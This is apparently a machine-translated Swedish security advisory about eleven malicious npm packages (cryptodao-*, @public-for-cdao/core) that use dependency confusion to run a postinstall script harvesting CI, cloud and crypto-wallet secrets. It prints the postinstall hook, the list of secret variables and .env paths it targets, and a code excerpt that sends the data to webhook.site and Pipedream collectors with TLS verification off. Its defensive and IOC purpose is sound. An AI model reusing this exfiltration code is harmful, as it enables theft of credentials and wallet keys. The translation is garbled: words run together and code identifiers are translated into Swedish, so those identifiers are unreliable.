CryptoDAO-förvirring: npm-paketinsamling CI/CD och kryptohemligheter

CryptoDAO-förvirring: elva npm-paket, en nyttolast, skörd CI/CD och krypto-plånbokshemligheter

TL; DR

Den 17 juni 2026 publicerades ett enda npm-konto elva paket som delar ett syfte och en nyttolastTio av dem bär cryptodao- prefix (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); den elfte är den avgränsade @public-for-cdao/coreVar och en publicerades i version 99.99.99 och skickar en byte-identisk recon.js som går vidare postinstall.

Namnen är det som talar om det. De läses som de interna byggstenarna i ett krypto-/DAO-projekts privata verktygskedja. Publicerade till det offentliga npm-registret med en artificiellt hög version, väntar de på en build. pipeline som är konfigurerad för att matcha dessa namn och som når publika npm före – eller istället för – det privata registret. Detta är beroendeförvirring, och nyttolasten är inställd för exakt var den förväntas landa: CI/CD löpare.

När postinstall bränder, recon.js samlar in värduppgifter, sveper grovt fyrtio moln-, CI- och kryptoplånboksmiljövariabler, läser vilken som helst .env filer den kan hitta och vidarebefordrar de hemlighetsbärande raderna ordagrant, och skickar sedan paketet till två samlare — webhook.site och en Pipedream-slutpunkt — med TLS-certifikatverifiering inaktiverad. En kopia skrivs också under /tmp.

Stränghet: högPåverkat ekosystem: npmAlla elva paket var tillgängliga i skrivande stund.

Attackanatomi

Mekanismen har fyra rörliga delar, och ingen av dem är subtil när du väl vet hur man gör. titta ett lager förbi paketnamnet.

1. Versionsinflation som ett lockbete för att locka fram nya versioner. Varje paket deklarerar version 99.99.99Beroendeförvirring uppstår när en pakethanterare frågar efter en internt namn, kontrollerar även det offentliga registret och väljer den högsta versionen hittar. npms standardval för ett cirkumflät- eller jokerteckenintervall är den mest tillfredsställande versionen över varje konfigurerad källa; om båda en privat register och publikt npm-svar för samma namn, vinner det större versionsnumret. A 99.99.99 överträffar i princip alla verkliga interna versioner som ett projekt kommer att ha nådd, så en resolver som inte är fäst vid den privata källan föredrar offentlig – och i det här fallet fientlig – kopia. Operatören behöver inte känna till målets verkliga versionsnummer; att välja ett absurt maximum garanterar alltid oavgjort bryter deras väg.

2. En efterinstallationsutlösare. package.json kopplar nyttolasten till installationen livscykel:

{   "scripts": { "postinstall": "node recon.js" } }

Ingen import av paketet krävs. Bara att installera det – vilket är ett CI pipeline gör automatiskt — körs recon.js.

3. En bred hemlig granskning. recon.js sätter ihop en resultatmatris i steg:

  • Värdkontext: värdnamn, plattform och version, arkitektur, användarnamn, funktion katalog.
  • Miljövariabler: den itererar en fast lista med cirka fyrtio namn och poster alla som är inställda. Listan är avslöjande – den parar ihop generiska CI-tokens (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) och moln referenser (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) med register- och containerhemligheter (NPM_TOKEN, DOCKER_LÖSENORD, HARBOR_PASSWORD) och ett tydligt krypto-smaksatt kluster:  PRIVAT_NYCKEL, MNEMONIK, SEED_PHRASE, INFURA_API_KEY, ALKEMI_API_NYCKEL, ETH_RPC, BSC_RPCRegistrerade värden avkortas till de första 50 tecknen.
  • .env filer: den söker igenom en lista med sökvägar — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, och .produktion/.utveckling varianter — och för alla filer som finns, filtrerar innehållet till matchande rader NYCKEL|HEMLIGHET|POLITT|LÖSENORD|PRIVAT|MNEMONISK och skickar in dessa rader **i sin helhet, oavkortade** i resultaten.
  • Bygg-värd-kontext: den listar de första 20 posterna av /bygger/, /home/gitlab-runner/builds/, /var/lib/gitlab-löpare/och / Tmp /.

Sökvägslistan och variabellistan viktas mot GitLab-löpare, vilket pekar på nyttolasten direkt på självhostad CI-infrastruktur snarare än en utvecklare bärbar dator. Genom att gruppera fångstlistan efter kategori blir det avsedda fångsten tydlig:

Kategori Variabler/sökvägar nådda
CI/CD identitet och driftsättning CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
cloud AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Register och container NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Datalager DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Krypto / blockkedja PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
meddelandehantering SLACK_TOKEN, DISCORD_TOKEN
På disk .env familj + /home/gitlab-runner/.env, /root/.env, /app/**/.envkataloglistor över /builds/, /var/lib/gitlab-runner/

Kryptoklustret är den del som skiljer detta från en generisk CI-hemlighet svep: plånboksfrösfraser och signeringsnycklar visas bara i miljön för en blockkedjeprojekt, och de mappas direkt till kryptodao-/sign/kontrakt namngivning av transportörerna.

4. Dubbel exfiltrering med verifiering inaktiverad. Den insamlade matrisen är serialiserad och POSTAD till två destinationer:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

avvisaObehörig: falskt stänger av TLS-certifikatkontroller för utgående samtal. Samma data skrivs ut till stdout (så att den även hamnar i CI-jobbloggarna) och skrivas till /tmp/.npm_recon_ .jsonFel sväljs tyst, så en misslyckad sändning lämnar inga spår i installationsutdata utöver ett enda [rekognosering] installerad på linje.

En ledande kommentar i filen beskriver det som en "beroendeförvirring" Rekognoseringsnyttolast.” Avkortningen av miljövärden till 50 tecken har formen av ett konceptbevis. Det som förflyttar det förbi en endast-närvaro-fyr är .env hantering: hemliga linjer vidarebefordras i sin helhet, och destinationerna är två fungerande, angriparstyrda samlare snarare än en diskho som bara räknas träffar.

tidslinje

Publiceringsmönstret är signaturen för en enda skriptad push, inte elva oberoende uppladdningar.

Tid (UTC, 2026-06-17) Event
03:24:58 cryptodao-bot@99.99.99 publicerade
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — scoped variant, ~24 min senare

Tio paket skickades ut inom 29 sekunder, ungefär ett var tredje sekund. Det omfattade @public-for-cdao/core följde ungefär 24 minuter efter — en sekund namngivningskonvention för samma mål, ifall det konsumerande projektet refererar till intern verktygskedja under ett omfång snarare än som enkla namn.

Indikatorer för kompromiss

Typ Indikator
Collector hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Collector hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Montera kroken postinstall: node recon.js
Filen har tappats /tmp/.npm_recon_<timestamp>.json
Loggmarkör [recon] <pkg>@<ver> installed on <hostname> (stdout i CI-loggar)
Behavioral rejectUnauthorized: false på utgående HTTPS under installationen
nyttolast recon.js, identisk i alla elva paket (en delad version)
Version 99.99.99 på varje paket
Paket cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (Allt 99.99.99)
Publisher aduljune / aduljune@proton.me (e-postadressen är overifierad, inget länkat källarkiv)

 Attribuering och observerat beteende

Allt om klustret pekar på en hand. Alla elva paket publicerades av npm-kontot aduljune (aduljune@proton.me, en overifierad adress utan länkad källförvaring), inom ett 25-minutersintervall, samtidigt 99.99.99 version, frakt av en recon.js vars innehåll är identiskt byte för byte över alla paket (MD5-matchningar över alla elva extraherade kopior). Det är en nyttolast stämplat på en namnlista, inte oberoende återanvändning av kod.

Namnlistan definierar det avsedda målet. kryptodao-* och cdao beskriv layout för privat modul för ett krypto-/DAO-projekt och nyttolastens skördlista speglar som gissar: vid sidan av de generiska CI- och molnhemligheterna, det specifikt sträcker sig efter PRIVAT_NYCKEL, MNEMONIK, SEED_PHRASE, och Ethereum/BSC RPC och leverantörsnycklar. De .env sökvägar och kataloglistor är GitLab-runner specifik. Den observerbara effekten är att alla pipeline lurade att installera dessa namn skulle vidarebefordra dess CI-tokens, molnnycklar och på disk .env hemligheter — och, för ett blockkedjeprojekt, dess plånboksmaterial — till två tredjepartssamlare.

Vi gör inga anspråk på vem som hanterar kontot eller vad de planerade att göra med det. data. Fakta som står på egna ben: namnen riktar sig mot en specifik typ av intern verktygskedja, nyttolasten läser och överför verkliga hemliga värden, och infrastrukturen var live.

Påverkan, trender och vägledning för försvarare

Beroendeförvirring förblir effektiv eftersom den utnyttjar resolverbeteende, inte en sårbarhet i vilket paket som helst. Bäraren här är trivial — elva nästan tomma paket — men explosionsradien är vad som helst pipeline föredrar felaktigt offentlig npm för ett internt namn. CI-löpare är det värsta stället för att det ska hända: de håller exakt polletterna och .env filer som denna nyttolast läser, och de installerar beroenden icke-interaktivt, så en efterinstallation springer utan att någon tittar på.

Det här klustret passar också in i ett mönster vi fortsätter att se: nyttolaster vid installationstid som presenterar som "forskning" eller "rekognoscering" samtidigt som man gör verklig insamling av referenser. Etiketten i filen ändrar inte vad koden gör på en löpare. Två designval behåller aktiviteten tyst: varje nätverks- och filsystemsoperation är insvept i en undantagshanterare som ignorerar fel, så en blockerad sändning eller en saknad fil producerar ingen diagnostisk utdata, och det enda som skrivs ut är en enda oskyldig [rekonstruera] … installerad rad som smälter in i det vanliga installationschatteret. Användningen av webhook.site och Pipedream är också avsiktlig bekvämlighet — båda är gratis, omedelbart provisionerade förfrågningsinsamlingstjänster, så att operatören inte behöver några servrar av sina egna och destinationerna ser ut som vanliga SaaS-värdnamn i utgående loggar.

Det är ekonomin som gör detta värt en försvarares uppmärksamhet, även om Operatörskoden är trivial. Att registrera elva namn kostar ingenting, nyttolasten är ett filen kopieras elva gånger, och pakethanteraren gör allt körande. En enda felkonfigurerad pipeline var som helst som konsumerar ett av dessa namn betalar för hela drift.

Konkreta steg för försvarare:

  • Fäst interna omfång till ditt privata register. Konfigurera npm så interna namn
     och omfång matchas endast mot ditt register (registermappningar med omfång för .npmrc,
    eller en proxy som aldrig går igenom till offentlig npm för ägda namnrymder). Reservera dina offentliga scope-namn så att ingen annan kan registrera dem.
  • Commit låsfiler och installera med –ignore-scripts i CI där det är möjligt, eller granska den lilla uppsättning beroenden som verkligen behöver installationsskript.  recon.js kan inte köras om efterinstallation är inte verkställd.
  • Behandla en 99.99.99 (eller annan absurt hög) version av ett namn som ser internt ut som en röd flagga i beroendegranskning och registerövervakning.
  • Avisering vid utgående åtgärd under installation. A efterinstallation som öppnar en utgående HTTPS anslutning — särskilt med certifikatverifiering inaktiverad — till webhook.site, Pipedream eller liknande tjänster för förfrågningsinsamling är värda att blockera vid nätverkskanten och flagga i byggloggar.
  • Jaga efter artefakterna. Kontrollera löpare för /tmp/.npm_recon_*.json Och för [rekonstruera] … installerad på … markör i de senaste CI-loggarna. Om den hittas, rotera varje legitimation exponerad för det pipeline — CI-tokens, molnnycklar, registertokens och alla plånboksfrön eller privata nycklar som finns i miljön eller .env-filer.

Referensprojekt

Ingen extern rapportering om detta kluster fanns vid skrivande stund; analysen ovanstående är direkt baserat på det publicerade paketets innehåll

sca-tools-programvara-verktyg-för-kompositionsanalys
Prioritera, åtgärda och säkra dina programvarurisker
Skaffa ditt gratiskonto.
Inga kreditkort krävs.

Säkra din programvaruutveckling och leverans

med Xygeni-produktsviten